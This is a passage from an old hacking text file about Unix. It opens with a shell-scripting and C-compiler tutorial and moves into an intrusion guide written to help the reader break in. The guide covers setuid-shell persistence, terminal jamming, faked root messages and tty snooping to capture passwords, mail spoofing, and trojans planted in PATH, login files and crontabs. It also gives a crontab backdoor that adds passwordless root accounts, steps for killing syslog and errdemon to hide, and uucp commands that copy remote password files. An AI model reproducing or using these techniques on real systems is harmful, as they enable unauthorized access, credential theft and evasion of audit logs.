the variable values from the list of values given, one +at a time. For example: + +for loopvar in 1 2 3 5 6 7 +do echo $loopvar +done + +On the first pass of the loop, loopvar would be assigned the value 1, on the +second pass 2, on the third pass 3, on the fourth pass 5, on the fifth pass 6, +and on the sixth pass 7. I skipped the number 4 to show that you do not have to +use values in numerical order. In fact, you don't have to use numerical +arguments. You could just as easily have assigned loopvar a string value: + +for loopvar in apples peaches pears +do echo "This pass's fruit is:" + echo $loopvar +done + +Note that you can also specify multiple commands to be carried out in the do +portion of the loop. + +SELECTIVE EXECUTION WITH CASE +----------------------------- + The case command allows you to execute commands based on the value of a variable. The format is: + +case [variable] in + + [value]) commands + commands + commands;; + [value2]) commands + commands;; + [value3]) ...and so on + esac + +For example: + +case $choice in + 1) echo "You have chosen option one." + echo "This is not a good choice.";; + + 2) echo "Option 2 is a good choice.";; + + *) echo "Invalid option.";; + esac + +Now, to explain that: + If the variable choice's value is "1", the commands in the section for +the value 1 are carried out until a pair of semicolons (";;") is found. The +same if the value of choice is "2". Now, note the last entry, "*". This is a +wildcard character. This means to execute the commands in this section for any +other value of choice. Easac signals the end of the list of execution options +for case. + +DETERMINING TRUE/FALSE CONDITIONS WITH TEST +------------------------------------------- + The test command tests for various conditions of files and variables +and returns either a true value (0) or a false value (1), which is used in +conjuction with the if/then statements to determine whether or not a series of +commands are executed. There are several different formats for test, depending +on what kind of condition you are testing for. When using variables with test, +you must always precede the variable with a dollar sign. + +NUMERIC TESTS +------------- +Format: +test [arg1] option [arg2] + +the arguments can either be numbers or variables. + +OPTIONS TESTS TRUE IF +------- ------------- +-eq arg1=arg2 +-ne arg1<>arg2 +-gt arg1>arg2 +-lt arg1=arg2 +-le arg1<=arg2 + +FILETYPE TESTS +------------- +Format: +test [option] file or directory name + +OPTIONS TESTS TRUE IF +------- ------------- +-s file or directory exists and is not empty +-f the "file" is a file and not a directory +-d the "file" is really a directory +-w the user has write permission to the file/directory +-r the user has read permission to the file/directory + +CHARACTER STRING TESTS +---------------------- +Format: +test [arg1] option [arg2] +The arguments can be either strings of characters or variables with character +string values. + +OPTIONS TESTS TRUE IF +------- ------------- += arg1=arg2 +!= arg<>arg2 + +A note here about string tests. You must enclose the names of the variables in +quotation marks (like "$arg1") if you wish the test to take into consideration +spaces, otherwise space characters are ignored, and " blue" would be +considered the same as "blue". + +TESTING FOR THE EXISTANCE OF A STRING OF CHARACTERS +--------------------------------------------------- +Format: +test [option] arg +Arg is a variable. + +OPTIONS TESTS TRUE IF +------- ------------- +-z variable has a length of 0 +-n variable has a length greater than 0 + +COMBINING TESTS WITH -A AND -O +------------------------------ + These options stand for "and" (-a) and "or" (-o). They allow you to +combine tests, for example: + +test arg1 = arg2 -o arg1 = arg3 + +means that a true condition is returned if arg1=arg2 or arg1=arg3. + + +CONDITIONAL EXECUTION WITH IF/THEN/ELSE/ELIF +-------------------------------------------- +Format: +if [this condition is true] +then [do these commands] +fi + +Example: + +if test arg1 = arg2 +then echo "argument 1 is the same as argument 2" +fi + +This is pretty much self-explanatory. If the condition test on the if line +returns a true value, the the commands following "then" are carried out until +the fi statement is encountered. + +Format: +if [this condition is true] +then [do these commands] +else [do these commands] +fi + +Again, pretty much self explanatory. The same as the above, except that if the +condition isn't true, the commands following else are carried out, until fi is +encountered. + +Format: +if [this condition is true] +then [do these commands] +elif [this condition is true] +then [do these commands] +fi + +The elif command executes another condition test if the first condition test is false, and if the elif's condition test returns a true value, the command for +its then statement are then carried out. Stands for "else if". + +WHILE/DO LOOPS +-------------- +Format: +while [this condition is true] +then [do these commands] +done + +Repeats the commands following "then" for as long as the condition following +"while" is true. Example: + +while test $looper != "q" +then read looper + echo $looper +done + +while will read the value of the variable looper from the keyboard and display +it on the screen, and ends if the value of looper is "q". + +SUMMARY +------- + This small tutorial by no means is a complete guide to shell +programming. Look at shell scripts on the systems you crack and follow their +examples. Remember, that you can accomplish a great deal by combining the +various control structures (such as having an if/then conditional structure +call up a while/do loop if the condition is true, etc.) and by using I/O +redirection, pipes, etc. My next Unix file will cover more advanced shell +programming, and examine shell programming on another popular shell, the +Berkely C shell. + +THE C COMPILER +-------------- + C is sort of the "official" language of Unix. Most of the Unix +operating system was written in C, and just about every system I've ever been +on had the C compiler. The command to invoke the c compiler is cc. The format +is "cc [filename]", where filename is the name of the file which contains the +source code. (The filename must end in .c) You can create the source code file +with any of the system's text editors. The include files, stdio.h and others, +are kept in a directory on the system. You do not have to have a copy of +these files in your current directory when you compile the file, the compiler +will search this directory for them. If you wish to include any files not in +the include library, they must be in your current directory. The compiled +output will be a file called "a.out" in your current directory. + +COMPILING INDIVIDUAL MODULES +---------------------------- + If you're working on a very large program, you will probably want to +break it up into small modules. You compile the individual modules with the -c +option, which only generates the object files for the module. Then, use the +link editor to combine and compile the object files. The object files will be +generated with the same name as the source files, but the file extension will +be changed from .c to .o When you have created all the object files for all +of the modules, combine them with the ld (link editor) like this: + +ld /lib/crtO.o [module] [module]... -lc + +which will give you the final, compiled program, in a file named a.out. For +example: + +ld /lib/crtO.o part1.o part2.o -lc + +You must remeber to include /lib/crtO.o and the -lc parts in the command, in +the order shown. Also, the object files must be specified in the ld command +in the order that they must be in the program (for instance, if part1 called +part2, part2 can't be BEFORE part1). + +CHECKING FOR ERRORS IN C PROGRAMS +--------------------------------- + The lint command checks for errors and incompatibility errors in C +source code. Type "lint [c source-code file]". Not all of the messages returned by lint are errors which will prevent the program from compiling or executing +properly. As stated, it will report lines of code which may not be +transportable to other Unix systems, unused variables, etc. + +C BEAUTIFIER +------------ + The cb (C beautifier) program formats C source code in an easy to read, "pretty" style. The format is "cb [file]". The output is to the screen, so if +you want to put the formatted source code into a file, you must redirect the +output. + +SPECIAL C COMMANDS +------------------ + The Unix C compiler has a command called system that executes Unix +commands and programs as if you had typed in the commands from the keyboard. +The format is: + +system("command line") + +Where command line is any command line you can execute from the shell, such as: + +system("cat /etc/passwd") + +Another command which performs a similar function is execvp. The format is: + +execvp("command") + +An interesting trick is to execute a shell program using execvp. This will make +the program function as a shell. + +HACKING THE UNIX SYSTEM +----------------------- + This is it, kiddies, the one you've waded through all that rodent +nonsense for! This section will describe advanced hacking techniques. Most of +these techniques are methods of defeating internal security (I.E. security once you're actually inside the system). There is little to be said on the subject +of hacking into the system itself that hasn't already been said in the earlier +sections on logging in, Unix accounts, and Unix passwords. I will say this +much- it's easier, and faster, to password hack your way from outside the +system into a user account. Once you're actually inside the system, you will +find it, using the techniques described in this section, almost easy to gain +superuser access on most systems. (Not to mention that nothing is quite as +rewarding as spending 3 days hacking the root account on a system, only to +receive the message "not on console-disconnecting" when you finally find the +proper password.) If you do not have a good understanding of the Unix operating system and some of its more important utilities already, you should read the +earlier parts of this file before going on to this section. + +OVERCOMING RSH RESTRICTIONS +--------------------------- + The rsh (restricted Bourne shell) shell attempts to limit the commands +available to a user by preventing him from executing commands outside of his +searchpath, and preventing him from changing directories. It also prevents you +from changing the value of shell variables directly (i.e. typing +"variable=value"). There are some easy ways to overcome these restrictions. + You can reference any file and directory in the system by simply using +its full pathname. You can't change directories like this, or execute a file +that is outside of your searchpath, but you can do such things as list out the +contents of directories, edit files in other directories, etc. (If you have +access to the necessary commands.) + The biggest flaw in rsh security is that the restrictions that are +described above ignored when the account's profile file is executed upon logon. This means that, if you have access to the edit command, or some other means of modifying your account's profile, you can add a line to add a directory to your searchpath, thereby letting you execute any programs in that directory. The +restriction on changing directories is also ignored during logon execution of +the profile. So, if you absolutely, positively HAVE to go to another directory, you can add a cd command your .profile file. + +OVERCOMING COPY AND WRITE RESTRICTIONS +-------------------------------------- + This is a simple trick. If you have read access t a file, but cannot +copy it because of directory protections, simply redirect the output of the cat command into another file. If you have write access to a directory but not +write access to a specific file, you can create a copy of the file, modify it +(since it will be owned by your account), delete the original, and rename the +copy to the name of the original. + +DETACHED ACCOUNTS +----------------- + This is a big security hole in many Unix systems. Occasionally, if a +user is disconnected without logging off, his account may remain on-line, and +still attached to the tty he was connected to the system through. Now, if +someone calls to the system and and gets connected to that tty, he is +automatically inside the system, inside the disconnected user's account. There +are some interesting ways to take advantage of this flaw. For instance, if you +desire to gain the passwords to more account, you can set a decoy program up to fake the login sequence, execute the program, and then disconnect from the +system. Soon, some unlucky user will call the system and be switched into the +detached account's tty. When they enter their username and password, the decoy +will store their input in a file on the system, display the message "login +incorrect", and then kill the detached account's shell process, thus placing +the user at the real login prompt. A Unix decoy written by Shooting Shark will +be given at the end of this file. + +UID SHELLS +---------- + When the uid bit is set on a shell program, executing this shell will +change your user id to the user id of the account that owns the shell file, and you will have full use of that account, until you press control-d (ending the +second shell process) and return to your normal user id. This gives you the +power to execute any commands under that account's user id. This is better than knowing the account's password, since as long as the file remains on the +system, you can continue to make use of that account, even if the password is +changed. When I gain control of an account, I usually make a copy of the shell +while logged in under that account in a nice, out of the way directory, and set its uid and gid bits. That way, if I should happen to lose the account (for +instance, if the password were changed), I could log in under another account +and still make use of the lost account by executing the uid shell. + +FORCED DETACHING +---------------- + This is an easy means of gaining the use of an account on systems with +the detached account flaw. Usually, most terminal device files will have public write permission, so that the user that logs in under it can receive messages +via write (unless he turns off messages with the mesg n command). This means +that you can cat a file into the user's terminal device file. A compiled file, +full of all kinds of strange control characters and garbage, works nicely. Say, the user is logged in on tty03. Just type cat /bin/sh > /dev/tty03. The user +will see something like this on his screen: + +LKYD;uiayh;fjahfasnf kajbg;aev;iuaeb/vkjeb/kgjebg;iwurghjiugj;di vd +b/fujhf;shf;j;kajbv;jfa;vdblwituwoet8y6- +2958ybp959vqvq43p8ytpgyeerv98tyq438pt634956b v856 -868vcf-56- +e8w9v6bc[6[b6r8wpcvt + +Hehehe! Now, the poor devil is confused. He tries to press break- no response, +and the garbage just keeps coming. He tries to enter various commands, to no +avail. Catting a file into his terminal device file "ties it up", so to speak, +and since this is the file through which all I/O with his terminal is done, he +finds it almost impossible to get any input through to the shell. He can't even log off! So, in desperation, he disconnects... It is best to execute the cat +command as a background process, so that you can keep an eye on the users on +the system. Usually, the user will call the system back and, unless he gets +switched back into his old detached account (in which case he will usually hang up again), he will kill the detached account's login process. So, if you see 2 +users on the system using the same username, you know he's logged back in +already. Anyways...after an appropriate length of time, and you feel that he's +disconnected, log off and call the system back a few times until you get +switched into the detached account. Then just create a uid shell owned by the +account and you can use it any time you please, even though you don'tknow the +password. Just remember one thing, though-when the cat command has finished +displaying the compiled file on the victim's screen, if he is still logged on +to that terminal, he will regain control. Use a long file! + +FAKING WRITE MESSAGES +--------------------- + Being able to write to other people's terminal files also makes it +possible to fake write messages from any user on the system. For example, you +wish to fake a message from root. Edit a file to contain these lines: +Message from root console ^g [note control-g (bell) character] +Bill, change your password to "commie" before logging off today. There has been a security leak. + [don't forget to put this--in the file.] +Now, type "who" to find bill's tty device, and type: + +cat [filename] > /dev/ttyxx + +Bill will see: + +Message from root console [beep!] +Bill, change your password to "commie" before logging off today. There has been a security leak. + + +WHEN FILE PERMISSIONS ARE CHECKED +--------------------------------- + Unix checks file permissions every time you issue a write or execute +command to a file. It only checks read permissions, however, when you first +issue the read command. For instance, if you issued the command to cat the +contents of a file, and someone changed the file's permissions so that you did +not have read permission while the process was still being executed, the cat +command would continue as normal. + +ONLINE TERMINAL READING +----------------------- + You can also, if you have some means of assuming an account's userid, +(such as having a uid shell for that account), you can read the contents of +someone's terminal on-line. Just execute the uid shell and type "cat +/dev/ttyxx &" (which will execute the cat command in the background, which will still display the contents to your screen, but will also allow you to enter +commands). Once the person logs off, ownership of his terminal device file will revert to root (terminal device files are temporarily owned by the account +logged in under them), but since you had the proper permissions when you +started the read process, you can still continue to view the contents of that +terminal file, and can watch, online, as the next use logs in. There is also +one other trick that can sometimes be used to gain the root password, but +should be exercised as a last resort, since it involved revealing your identity as a hacker to the superuser. On many systems, the superuser also has a normal +user account that he uses for personal business, and only uses the root account for system management purposes. (This is, actually, a rather smart security +move, as it lessens the chances of, say, things like his executing a trojan +horse program while under the root account, which, to say the least, could be +disastrous [from his point of view].) If you can obtain a uid shell for his +user account, simply execute a read process of his terminal file in the +background (while under the uid shell), and then drop back into your normal +shell. Then send him a write message like: + +I'm going to format your winchesters + +When he uses the su command to go to the superuser account to kick you off the +system, you can sit back and watch him type in the root password. (This should +only be done if you have more than one account on the system- remember, many +systems will not let you log into a superuser account remotely, and if the only account you have is a superuser account, you are effectively locked out of the +system.) + +MAIL FRAUD +---------- + The TCP/IP protocol is a common protocol for file transfers between +Unix systems, and between Unix and other operating systems. If the Unix system +you are on features TCP/IP file transfers, it will have the telnet program on- +line, usually in the directory /bin. This can be used to fake mail from any +user on the system. Type "telnet" to execute the telnet program. You should +see: + +Telnet> + +At this prompt, type "open [name] 25", where name is the uucp network name of +the system you are on. This will connect you to the system's 25th port, used to +receive network mail. Once connected, type: + +rcpt to: [username] + +Where username is the name of the user you wish to send mail to. Next, type: + +mail from: [user] + +Where user is the name of the use you wish the mail to appear from. You can +also specify a non-existant user. You can also fake network mail from a user on another system. For information on the format of the address, see the section +on the uucp facilities. Then type: + +data + +You will be prompted to enter the message. Enter "." on a blank line to end and send the mail. When you'e finished sending mail, type "quit" to exit. + + Thanks to Kid&CO. from Private Sector/2600 Magazine for that novel bit +of information. + +UNIX TROJAN HORSES +------------------ + This is an old, OLD subject, and there's little original material to +add about it. Trojan horses are programs that appear to execute one function, +but actually perform another. This is perhaps the most common means of hacking +Unix. + One of the easiest means of setting up a Unix trojan horse is to place +a program named after a system command, such as ls, "in the way" of someone's +search path. For instance, if a user's searchpath is ".:/usr/bin", which means +that the system searches the user's current directory for a command first, you +could place a shell script in the user's home directory called "ls" that, when +executed, created a copy of the shell, set the new shell file's uid and gid +bits, echo an error message (such as "lsa: not found", leading the user to +think he mistyped the command and the offending character was not echoed, due +to line noise or whatever), and delete itself. When the user executes the ls +command in his directory, the uid shell is created. Another good idea is to set the name of the trojan to a command in the user's login file, have it make the +uid shell, execute the real command, and then delete itself. + Another good way to set up a trojan horse is to include a few lines in +a user's login file. Simply look at the user's password file entry to find out +which shell he logs in under, and then modify the appropriate login file (or +create one if it doesn't exist) to create a uid shell when the user logs on. + If you can modify a user's file in the directory +/usr/spool/cron/crontabs, you can add an entry to create a uid shell. Just +specify * * * * * as the times, and wait about 1-2 minutes. In 1 minute, the +cron utility will execute the commands in the user's crontab file. Then you can delete the entry. Again, if the user doesn't have a file in +/usr/spool/cron/crontabs, you can create one. + One last note- be sure you give the trojan horse execute permissionsm, +otherwise the victim will receive the message "[filename]- cannot execute"... +Kind of a dead giveaway. + +CHANGING UID PROGRAMS +--------------------- + If you have write access to a uid file, you can easily modify it to +become a shell. First, copy the file. Then type: + +cat /bin/sh > [uid file] + +This will replace the file's contents with a shell program, but the uid bit +will remain set. Then execute the file and create a well-hidden uid shell, and +replace the subverted uid file with the copy. + +ADDING AN ACCOUNT TO A UNIX SYSTEM +---------------------------------- + To add an account to a Unix system, you must have write access to the +password file, or access to the root account so that you can change the +password file's protections. To add an account, simply edit the file with the +text file editor, edit (or any of the other Unix editors, if you wish). Add an +entry like this: + +[username]::[user#]:[group#]:[description]:[home directory]:[pathname of shell] + +Notice that the password field is left blank. To set the password, type: + +passwd [username] + +You will then be prompted to enter and verify a password for the account. +If you wish the account to have superuser privileges, it must have a user +number of zero. + +UNIX BACKDOOR +------------- + A backdoor is a means of by-passing a system's normal security for +keeping unauthorized users out. For all the talk about back doors, they are +rarely accomplished. But creating a backdoor in Unix System V is really quite +easy. It simply requires adding a few entries to the file +/usr/lib/crontab or /usr/spool/cron/crontabs/root. (Again, if the file doesn't +exist, you can create it.) Add these lines, which will create 2 accounts on the +system, one a user account ("prop") and one a superuser account ("prop2"), at +1 am system time every night, and delete them at 2 am every night. + +0 1 * * * chmod +w /etc/passwd +1 1 * * * echo "prop::1:1::/:/bin/sh" >> /etc/passwd +2 1 * * * echo "prop2::0:0::/:/bin/sh" >> /etc/passwd +20 1 * * * grep -v "prop*:" /etc/passwd > /usr/spool/uucppublic/.p +0 2 * * * cat /usr/spool/uucppublic/.p > /etc/passwd +10 2 * * * chmod -w /etc/passwd +15 2 * * * rm /usr/spool/uucppublic/.p + +COVERING YOUR TRACKS +-------------------- + Naturally, you want to keep your cover, and not leave any trace that +there is a hacker on the system. This section will give you some tips on how to do just that. First of all, the Unix system keeps track of when a file was last modified (see the information on the command ls -l in the section on file and +directory protections). You don't want anyone noticing that a file has been +tampered with recently, so after screwing around with a file, if at all +possible, you should return its last modified date to its previous value using +the touch command. The syntax for the touch command is: + +touch hhmmMMdd [file] + +Where hh is the hour, mm is the minute, MM is the month, and dd is the day. +[file] is the name of the file you wish to change the date on. + What usually gives hackers away are files they create on a system. If +you must create files and directories, make use of the hidden files feature. +Also, try to hide them in directories that are rarely "ls"'d, such as +/usr/spool/lp, /usr/lib/uucp, etc (in other words, directories whose contents +are rarely tampered with). + Avoid use of the mail facilities, as anyone with the proper access can +read the /usr/mail files. If you must send mail to another hacker on the +system, write the message into a text file first, and encrypt it. Then mail it +to the recipient, who can save the message without the mail header using the w +option, and decrypt it. + Rather than adding additional superuser accounts to a system, I've +found it better to add simple user accounts (which don't stand out quite as +much) and use a root uid shell (judiciously hidden in a rarely used directory) +whenever I need superuser privileges. It's best to use a user account as much +as possible, and only go to the superuser account whenever you absolutely need +superuser priv's. This may prevent damaging accidents. And be careful when +creating a home directory for any accounts you add. I've always found it better to use existing directories, or to add a hidden subdirectory to a little- +tampered with directory. + + Many systems have "watchdog" programs which log off inactive accounts +after a certain period of time. These programs usually keep logs of this kind +of activityl. Avoid sitting on the sitting doing nothing for long periods of +time. + While using some of the methods described in this file, you may replace a user's file with a modified copy. This copy will be owned by your account and group instead of the account which owned the original. You can change the group back to the original owner's group with the chgrp command, the format of which +is: + +chgrp [groupname] [file] + +And change the owner back to the original with the chown command: + +chown [user] [file] + + When you change ownership or group ownership of a file, the uid and gid +bits respectively are reset, so you can't copy the shell, set its uid bit, and +change its owner to root to gain superuser capabilities. + Above all, just be careful and watch your step! Unix is a very flexible operating system, and even though it comes equipped with very little in the way of accounting, it is easy to add your own security features to it. If you do +something wrong, such as attempting to log in under a superuser account +remotely only to see "not on console-goodbye", assume that a note is made of +the incident somewhere on the system. Never assume that something [anything!] +won't be noticed. And leave the system and its files exactly as you found them. In short, just use a little common sense. + If you're a real klutze, you can turn off the error logging (if you +have root capabilities). I will include information on System V error logging, +which most Unix clones will have error logging facilities similar to, and on +Berkely Standard Distribution (BSD) Unix error logging. + +BERKELY (BSD) UNIX ERROR LOGGING +-------------------------------- +Type "cat /etc/syslog.pid". This file contains the +process number of the syslog (error logging) program. Kill this process, and +you stop the error logging. Remember to start the logging process back up after you're through stumbling around. + If you want to see where the error messages are sent, type: + +cat /etc/syslog.config + +Entries are in the form: + +#file + +Such as: + +5/etc/errlogfile + +The number is the priority of the error, and the file is the file that errors +of that priority or higher are logged to. If you see an entry with /dev/console as its log file, watch out! Errors of that priority will result in an error +message being displayed on the system console. Sometimes, a list of usernames +will follow an entry for errorlogging. This means that these users will be +notified of any priorities of that level or higher. +There are 9 levels of priority to errors, and an estimation of their +importance: + +9 -Lowly errors. This information is just unimportant junk used to debug + small errors in the system operation that usually won't affect its + performance. Usually discarded without a glance. + +8 -Usually just thrown away. These messages provide information on the + system's operation, but nothing particularly useful. + +7 -Not greatly important, but stored for informational purposes. + +6 -System errors which can be recovered from. + +5 -This is the priority generally given to errors caused by hackers- + not errors, but important information, such as security violatins: + bad login and su attempts, attempts to access files without proper + permissions, etc. + +4 -Errors of higher priority than 6. + +3 -Major hardware and software errors. + +2 -An error that requires immediate attention...very serious. + +1 -***<<<(((CRAAASSSHHH!!!)))>>>***- + +SYSTEM V ERROR LOGGING +---------------------- + System V error logging is relatively simple compared to Berkely Unix +error logging. The System V error logging program is errdemon. To find the +process id of the error logging program, type "ps -uroot". This will give you a list of all the processes run under the root id. You will find /etc/errdemon +somewhere in the list. Kill the process, and no more error logging. The +errdemon program is not as sophisticated as BSD Unix's syslog program: it only +logs all errors into a file (the default file is /usr/adm/errfile, but another +file can be specified as an argument to the program when it is started). +Errdemon does not analyze the errors as syslog does, it simply takes them from +a special device file called /dev/error and dumps them into the error logging +file. If you wish to examine the error report, use the errpt program, which +creates a report of the errors in the error logging file and prints it out on +the stanard output. The format is: errpt [option] [error logging file]. For a +complete report of all errors, use the -a option: + +errpt -a /usr/adm/errfile + +The output is very technical, however, and not of much use to the hacker. + +UUCP NETWORKING +--------------- + This section will cover the workings and use of the Unix uucp +facilities. UUCP stands for Unix to Unix Copy. The uucp utilities are for the +exchange of files between Unix systems. There also facilities for users to dial out and interact with remote systems, and for executing limited commands on +remote systems without logging in. + +OUTWARD DIALING +--------------- + The command for outward dialing is cu. The format is: + +cu -n[phone number] + +Such as: + +cu -n13125285020 + +On earlier versions of Unix, the format was simply "cu [phone number]". + +Note, that the format of the phone number may be different from system to +system- for instance, a system that dials outward off of a pbx may need to have the number prefixed by a 9, and one that uses an extender may not need to have +the number (if long distance) preceded by a 1. To dial out, however, the system must have facilities for dialing out. The file /usr/lib/uucp/Devices (called +L-devices on earlier systems) will contain a list of the available dialout +devices. Entries in this file are in the format: + +[device type] [device name] [dial device] [linespeed] [protocol, optional] + +Device type is one of 2 types: ACU and DIR. If ACU, it is a dialout device. DIR is a direct connection to a specific system. Device name is the name of the +base name of the dialout device's device file, which is located in the /dev +directory. Dial device is usually an unused field. It was used on older systems where one device (device name in the above example) was used to exchange data, +and another device (dial device, above) did the telephone dialing. In the age +of the autodial modem, this is a rarely used feature. The next, linespeed, is +the baud rate of the device, usually either 300, 1200, or 2400, possibly 4800 +or 9600 if the device is a direct connection. The protocol field is for +specifying the communications protocol. This field is optional and generally +not used. Here is an example entry for a dialout device and a direct +connection: + +ACU tty99 unused 1200 +DIR tty03 unused 9600 + +If a dialout device is capable of more than one baud rate, it must have 2 +entries in the Devices (L-devices) file, one for each baud rate. Note, that the device in the above example is a tty- usually, dialout device names will be in +the form tty##, as they can be used both for dialing out, and receiving +incoming calls. The device can be named anything, however. +There are several options worth mentioning to cu: + +-s Allows you to specify the baud rate. There must be a device in the + Devices file with this speed. +-l Allows you to specify which device you wish to use. + +If you wish to connect to a system that there is a direct connection with, +simply type "cu -l[device]". This will connect you to it. You can also do that +do directly connect to a dialout device, from which point, if you know what +commands it accepts, you can give it the dial commands directly. + +Using the cu command is basically the same as using a terminal program. When +you use it to connect to a system, you then interact with that system as if you dialed it directly from a terminal. Like any good terminal program, the cu +"terminal program" provides facilities for file transfers, and other commands. +Here is a summary of the commands: + +~. -Disconnect from the remote system. + +~! -Temporarily execute a shell on the local system. When you + wish to return to the remote system, press control-D. + +~![cmd] -Execute a command on the local system. Example: ~!ls -a + +~$[cmd] -Execute a command on the local system and send the output to + the remote system. + +~%put f1 f2 -Sends a file to the remote system. F1 is the name of the + file on the local system, and f2 is the name to be given the + copy made on the remote system. + +~take f1 f2 -Copies a file from the remote to the local system. F1 is + the name of the remote file, and f2 is the name to be given + to the local copy. + +Note, that the commands for transferring output and files will only work if you are communicating with another Unix system. + You may be wondering how you can find out the format for the phone +number, which is necessary to dial out. The format can be obtained from the +file /usr/lib/uucp/Systems (called L.sys on earlier Unix systems). This file +contains the uucp network names and phone numbers of other Unix systems, as +well as other information about them. This file contains the information needed to carry out uucp file transfers with the systems listed within it. The entries are in the format: + +[system name] [times] [devicename] [linespeed] [phone number] [login info] + +System name is the name of the system. +Times is a list of the times when the system can be contacted. This field will +usually just have the entry "Any", which means that the system can be contacted at any time. Never means that the system can never be called. You can also +specify specific days and times when the system can be contacted. The days are +abbreviated like this: + +Su Mo Tu We Th Fr Sa + +Where Su is Sunday, Mo is Monday, etc. If the system can be called on more than one day of the week, you can string the days together like this:SuMoTu for +Sunday, Monday, and Tuesday. You can also specify a range of hours when the +system can be called, in the 24 hour format, like this: Su,0000-0100 means that the system can be called Sunday from midnight to 1am. The week days (Monday +through Friday) can be abbreviated as Wk. +Device name is the name of the device to call the system with. If the system is directly connected, this file will contain the base name of the device file of +the device which connects it to the local system. If the system has to be +dialed over the phone, this field will be "ACU". +Linespeed is the baud rate needed to connect to the system. There must be a +device available with the specified baud rate to contact the system. +Phone number is the phone number of the system. By looking at these entries, +you can obtain the format for the phone number. For instance, if this field +contained "913125285020" for an entry, you would know that the format would be +9+1+area code+prefix+suffix. +The login field contains information used for uucp transfers, and will be +discussed in detail later. + Sometimes you will see alphabetic or other strange characters in the +phone number field. Sometimes, these may be commands for the particular brand +of modem that the system is using to dialout, but other times, these may +actually be a part of the phone number. If so, the meaning of these characters +called tokens can be found in the file /usr/lib/uucp/Dialcodes (called +L-dialcodes on earlier systems). Entries in this file are in the form: + +token translation + +For example: + +chicago 312 + +Would mean that the token chicago means to dial 312. So, if the phone number +field of a Systems entry was: + +chicago5285020 + +It would mean to dial 3125285020. + +You can add an entry to the Systems file for systems that you wish to call +frequently. Simply edit the file using one of the Unix system's editors, and +add an entry like this: + +ripco Any ACU 1200 13125285020 unused + +And then any time you wished to call the BBS Ripco, you would type: + +cu ripco + +And the system would do the dialing for you, drawing the phone number from the +entry for Ripco in the Systems file. + +HOW UUCP TRANSFERS WORK +----------------------- + This section will detail how a uucp file transfer works. When you issue the command to transfer a file to/from a remote system, the local system dials +out to the remote system. Then, using the information contained in the login +field of the Systems file, it logs into an account on the remote system, in +exactly the same manner as you would log into a Unix system. Usually, however, +uucp accounts use a special shell, called uucico, which implements certain +security features which (are supposed to) keep the uucp account from being used for any other purpose than file transfers with another Unix system. (Note: not +ALL uucp accounts will use this shell.) If you've ever logged into the uucp +account on the system and received the message, "Shere=[system name]", and the +system wouldn't respond to any of your input, that account was using the uucico shell, which prevents the account from being used as a normal "user" account. +The local system then requests the transfer, and if security features of the +remote system which will be discussed later do not prevent the transfer, the +file will be copied to (or from if you requested to send a file) the local +system. The account is then logged off of the remote system, and the connection is dropped. + +ADDING A LOGIN FIELD TO A SYSTEMS ENTRY +-------------------------------------- + Many superusers feel that if the uucp account uses the uucico shell, +that it is "secure". Because of this, they may ignore other uucp security +measures, and probably not give the account a password. If you find such a +system, you can add an entry for the system to the Systems (L.sys) file of +another Unix system and try to, say, transfer a copy of its password file. To +do so, simply follow the outline in the section on cu for how to add an entry +to the Systems file. That will cover everything but how to add the login field, which is covered in this section. + The login section consists of expect/sendsubfields. For example, here +is an example login field: + +ogin: uucp assword: uucp + +The first subfield is what is expected from the remote system, in this case +"ogin:". This means to expect the login prompt, "Login:". Note, that you do not have to enter the complete text that the remote system sends, the text sent +from the remote system is scanned left to right as it is sent until the +expected text is found. The second subfield contains the local system's +response, which is sent to the remote system. In this case, the local system +sends "uucp" when it receives the login prompt. Next, the local system scans +the output from the remote system until it receives "assword:" ("password:"), +then sends "uucp" (the password, in this example, for the uucp account). +Because of line noise or other interference, when the local system connects to +the remote, it may not receive the expected string. For this possibility, you +may specify the expected string several times, like this: + +ogin:-ogin: uucp assword:-assword: uucp + +The - separates that if the expected string is not received, to expect the +string specified after the hyphen. Sometimes, you may need to send a special +character, such as kill or newline, to the system if the expected string is not received. You can do that like this: + +ogin:-BREAK-ogin: uucp assword: uucp + +The -BREAK- means that if ogin: isn't received the first time, to send a break +signal to the remote system, and then expect ogin: again. Other common entries +are: + +ogin:-@-ogin: Send a kill character if the expected string isn't + received the first time. +ogin:-EOT-ogin: Send a control-D if the expected string isn't received. +ogin:--ogin: Send a null character if the expected string isnt' + received. + +If the system you wish to transfer files with doesn't send anything when you +first connect to it, (say, you have to press return first), the first expect +entry should be "" (nothing), and the first send field should be \r (a return +character). There are certain characters, like return, which are represented by certain symbols or combinations of characters. Here is a list of these: + +\r -Return. +@ -Kill. +- -Null/newline character. +"" -Nothing. + +UNUSUAL LOGIN ENTRIES +--------------------- + Sometimes, the login entry for a system might contain more than just +fields to expect the login prompt, send the username, expect the password +prompt, and send the password. For instance, if you have to go through a +multiplexer to get to the system, the login field would contain a subfield to +select the proper system from the multiplexer. + Sometimes, on systems, that use the Hayes smartmodem to dial out, the +phone number field may be left unused (will contain an arbitrary entry, such as the word "UNUSED"), and the dialing command will be contained in the login +field. For example: + +ripco Any ACU 1200 UNUSED "" ATDT13125285020 CONNECT \r ernumber: new + +So, when you try to transfer a file with a Unix system called "ripco": +"UNUSED" is sent to the Hayes smartmodem. Of course, this is not a valid Hayes +command, so it is ignored by the modem. Next, the system moves the login field. The first expect subfield is "", which means to expect nothing. It then sends +the string "ATDT13125285020", which is a Hayes dialing comand, which will make +the modem dial 13125285020. When the string "CONNECT" is received (which is +what the smartmodem will respond with when it connects), the system sends a +carriage return and waits for the "Usernumber:" prompt. When it receives that, +it sends "new". This completes the login. + +UUCP SYNTAX +----------- + Once you've completed an entry for the Unix system you wish to transfer files with, you can issue the uucp command, and attempt the transfer. The +syntax to copy a file from the remote system is: + +uucp remote![file pathname] [local pathname] + +Where remote is the name of the system you wish to copy the file from, [file +pathname] is the pathname of the file you wish to copy, and [local pathname] is the pathname of the file on the local system that you wish to name the copy +that is made on the local system. +To transfer a file from the local system to the remote system, the syntax is: + +uucp [local pathname] remote![file pathname] + +Where [local pathname] is the file on the local system that you wish to +transfer to the remote system, remote is the name of the remote system, and +[file pathname] is the pathname you wish to give to the copy to be made on the +remote system. + +So, to copy the ripco system's password file, type: + +uucp ripco!/etc/passwd /usr/spool/uucppublic/ripcofile + +Which will, hopefully, copy the password file from ripco into a file on the +local system called /usr/spool/uucppublic/ripcofile. The directory +/usr/spool/uucppublic is a directory set up especially for the reception of +uucp-transferred files, although you can have the file copied to any directory +(if the directory permissions don't prevent it). + +DEBUGGING UUCP PROCEDURES +------------------------- + So, what if your transfer did not go through? Well, this section will +detail how to find out what went wrong, and how to correct the situation. + +UULOG +----- + The uulog command is used to draw up a log of 